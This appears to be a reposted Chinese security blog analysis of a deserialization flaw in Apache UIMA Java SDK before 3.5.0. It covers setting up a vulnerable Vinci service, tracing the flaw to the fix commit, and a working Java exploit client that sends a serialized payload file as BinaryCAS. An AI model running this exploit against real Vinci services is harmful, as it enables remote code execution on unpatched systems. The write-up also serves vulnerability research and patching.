Apache UIMA 是一个用于分析非结构化内容(比如文本、视频和音频)的组件架构和软件框架实现。由于Apache UIMA Java SDK在反序列化Java对象时没有验证数据,当应用程序中使用了Vinci 或 CasIOUtils时,攻击者可以通过发送恶意的 CAS 序列化对象执行恶意操作,导致任意代码执行。
这里不去看别的项目可能调用到CasIOUtils看看他自己这个vinci远程服务吧,,,
vinci
远程实现
Apache UIMA™ - Tutorials and User’s Guides
官方文档讲了vinci远程调用,,,但是还是很坑,,,,,,,,用的太少了没什么示例感觉。
环境搭建
摸索。。。
在bin目录下面起一个cmd
设置一下环境变量
set UIMA_HOME=D:xxxxxuimaj-3.4.1-binapache-uima
先把VNS服务起起来 startVNS.bat 启动就行 默认开放在9000端口
然后是把这个vinciservice挂上去
这里用了他提供的demo 启动
startVinciServicebinary.bat Deploy_PersonTitleAnnotator.xml 127.0.0.1
要开启了vinci服务 并且要知道挂在上面的casxml配置 这里用的是官网文档给的启用默认的。
而且还得是VinciBinaryAnalysisEngineService_impl 启动的
给的默认启动脚本启动的是VinciAnalysisEngineService_impl
这里把startVinciService.bat 粘贴了一份出来,把VinciAnalysisEngineService_impl 改成了VinciBinaryAnalysisEngineService_impl 启动,一个远程可以打的环境准备好了- -
调试
给启动的bat脚本调用的jvm参数加上调试参数即可
漏洞分析调试
https://github.com/apache/uima-uimaj/commit/6a8ab16a604401c9e8ec5c5c94e94515371d324b
一个的是UIMA启动vinci服务会受到影响,一个是包含该漏洞依赖并使用了CasIOUtils的可能会受到影响
VinciBinaryAnalysisEngineService实现类的analyze方法调用了deserialize存在漏洞
这里下载的官方包里面默认启动的是VinciAnalysisEngineService_impl 修改为VinciBinaryAnalysisEngineService_impl 启动有漏洞的服务,,,
1.数据流量传输开头为X 计算为88
这里用官方给的vinciClient来连接调试,下载的源码给的demo加载的测试数据是ping 会取到header 直接删掉
因为这里要求out为空才能进到eval
-
Constants 为Annotate或者ProcessCas才能进入到 analyze函数
这里设置TransportConstants.COMMAND_KEY 为Annotate或者ProcessCas
反序列化的casBytes来自binaryCAS
这里构造BinaryCAS输入byte[]即可。
这里fadd有点坑,byte字符串会自动base64加密
要用对应的faddTrueBinary
攻击EXP如下 运行
-DVNS_HOST指定 VINCI服务的IP 端口默认9000 也可以指定,,,
构造攻击代码如下 记得启动vm参数里面加上IP和端口
import org.apache.vinci.transport.Frame;
import org.apache.vinci.transport.TransportConstants;
import org.apache.vinci.transport.VinciClient;
import org.apache.vinci.transport.VinciFrame;
import java.io.*;
public class attack {
public static void main(String[] args) {
try {
DataInputStream in = null;
in = new DataInputStream(new BufferedInputStream(new FileInputStream("2.ser")));
int length = in.available();
byte[] buf = new byte[length];
in.readFully(buf);
// FileInputStream f = new FileInputStream("test.ser");
Frame ping = new VinciFrame();
ping.fadd(TransportConstants.COMMAND_KEY,"ProcessCas");
ping.faddTrueBinary("BinaryCAS",buf);
// ping.fadd("BinaryCAS",buf); base64加密
// ping.fset(TransportConstants.COMMAND_KEY,"ProcessCas");
// Frame ping = new VinciFrame().fset("BinaryCAS","123456");
// Frame ping = new VinciFrame().fadd(TransportConstants.PING_KEY, "hi");
System.out.println(VinciClient.rpc(ping, args[0]));
} catch (Exception e) {
e.printStackTrace();
}
}
}
条件苛刻,,,开启了vinci服务,并且要知道挂在上面的service路由,而且还得是VinciBinaryAnalysisEngineService_impl 启动的。
可能CasIOUtils有用的吧,,,不知道了
原文始发于微信公众号(FXDSecurity):Apache UIMA Java SDK <3.5.0 反序列化漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论